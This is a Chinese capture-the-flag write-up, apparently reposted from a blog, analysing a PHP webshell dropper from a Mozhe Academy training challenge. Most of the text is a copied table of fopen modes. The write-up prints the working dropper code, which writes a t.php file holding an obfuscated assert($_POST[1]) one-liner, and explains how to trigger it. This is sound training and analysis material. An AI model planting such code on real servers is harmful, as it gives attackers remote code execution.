墨者学院 - WebShell代码分析溯源(第11题)

<?php 
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){                     //若get到的1不为空且1=GET.fPZ87的话执行下面操作
    $_=@fopen('t.php', 'a');                                                           //创建t.php并写入
    @fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));     //写进t.php
        @\$_(\$_POST[1]);?>");
    @fclose($_);
}
?>

mode 参数的可能的值

mode 说明
"r" 只读方式打开,将文件指针指向文件头。
"r+" 读写方式打开,将文件指针指向文件头。
"w" 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"w+" 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"a" 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"a+" 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"x"

创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

"x+"

创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

将$GET_[2]接收到的值中的vey替换为ert,ilo替换为ass,也是时候当2=ilovey是,构成assert($_POST[1]),密码为1的一句话,生成的t.php文件是一个webshell

先执行以下命令(进入以下网页生成t.php并写入)

这是生成的t.php文件及内容

获得key

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81449699